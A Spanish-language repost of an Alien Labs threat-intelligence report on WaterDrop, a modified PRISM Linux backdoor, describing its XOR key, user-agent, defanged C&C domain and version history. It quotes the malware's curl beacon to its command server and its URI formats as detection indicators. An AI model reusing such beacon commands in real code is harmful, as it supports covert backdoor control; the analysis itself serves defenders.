LinuxParty

AT&T Alien Labs ha descubierto recientemente un grupo de ejecutables ELF de Linux que tienen detecciones de antivirus bajas o nulas en VirusTotal, aunque nuestros sistemas de análisis de amenazas internos los han marcado como maliciosos. Tras la inspección de las muestras, Alien Labs las ha identificado como modificaciones de la puerta trasera PRISM de código abierto utilizada por múltiples actores de amenazas en varias campañas.

Hemos realizado una investigación más a fondo de las muestras y hemos descubierto que varias campañas que utilizan estos ejecutables maliciosos han logrado permanecer activas y bajo el radar durante más de 3,5 años. Las muestras más antiguas que Alien Labs puede atribuir a uno de los actores datan del 8 de noviembre de 2017.

Análisis

WaterDrop

La variante WaterDrop es fácilmente identificable, ya que incluye una función llamada xencrypt que realiza el cifrado XOR con la clave 0x1F codificada de un solo byte. A partir de la versión 7 de la variante WaterDrop, las muestras incluyen la cadena de texto sin formato "WaterDropx vX iniciado", donde X es el número de versión entero. Hasta ahora, hemos observado que las versiones 1, 2.2 y 3 todavía usan el nombre PRISM. Las versiones 7, 9 y 12 se denominan WaterDropx.

También utiliza la cadena de agente de usuario fácilmente identificable " agent-waterdropx " para las comunicaciones de comando y control (C&C) basadas en HTTP, y llega a los subdominios del dominio waterdropx [.] Com.

Si bien todos estos pueden parecer indicadores bastante obvios, el actor de amenazas detrás de esta variante ha logrado mantener una puntuación de detección de cero o casi cero en VirusTotal para sus muestras y dominios. Lo más probable es que esto se deba a que sus campañas son bastante pequeñas. El dominio waterdropx [.] Com se registró para el propietario actual el 18 de agosto de 2017 y, al 10 de agosto de 2021, todavía estaba en línea.

Además de las características básicas de PRISM, WaterDrop introduce el cifrado XOR para la configuración y un proceso adicional que consulta regularmente a los C&C sobre los comandos a ejecutar (ver figura 2).

Esta comunicación con el servidor C&C es HTTP de texto plano y se realiza mediante el comando curl. En todas las versiones que ha observado Alien Labs, se utiliza la opción -A “agent-waterdropx”, lo que significa que el encabezado del agente de usuario permanecerá constante en todas las versiones.

También hemos observado algunas muestras de esta variante que cargan un Módulo Kernel si el proceso se ejecuta con privilegios de root (ver figura 3).

Evolución de la versión

PRISM v1

Alien Labs ha encontrado muestras etiquetadas como "PRISM v1" que podemos atribuir al mismo actor de amenazas con gran confianza ya que utilizan el mismo dominio de C&C (waterdropx [.] Com). Las muestras también comparten características distintivas, como la cadena de agente de usuario agent-waterdropx.

En comparación con el PRISM público, esta versión introduce la creación de un proceso hijo que consulta constantemente al servidor de C&C para que se ejecuten los comandos. La solicitud inicial al servidor C&C se realiza mediante el siguiente comando:

curl -A 'agent-waterdropx' 'https://r.waterdropx[.]com:13858/tellmev2.x?v=1&act=touch'

PRISM v1 no presenta ningún tipo de ofuscación, empaquetado o encriptación de los binarios.

PRISM v2.2

PRISM v2.2 introduce el uso del cifrado XOR para ofuscar datos confidenciales, como las cadenas de comandos BASH utilizadas. La clave es de un solo byte y está codificada en el valor 0x1F. Esta clave en particular se utiliza en todas las muestras de este actor de amenazas que observamos.

Para esta versión, el formato de solicitud de URI de C&C inicial es:

/tellmev2.x?v=2.2&act=touch

PRISM v3

Es idéntico a v2.2, con una excepción: los clientes incluyen un ID de bot para fines de identificación. Esta identificación de bot se guarda en /etc/.xid y se usa en la baliza de malware.

El formato de solicitud inicial es:

/tellmev2.x?v=3&act=touch&xid=

Para más información sobre PRISM, siga este enlace

Para una traducción automática, en español siga este enlace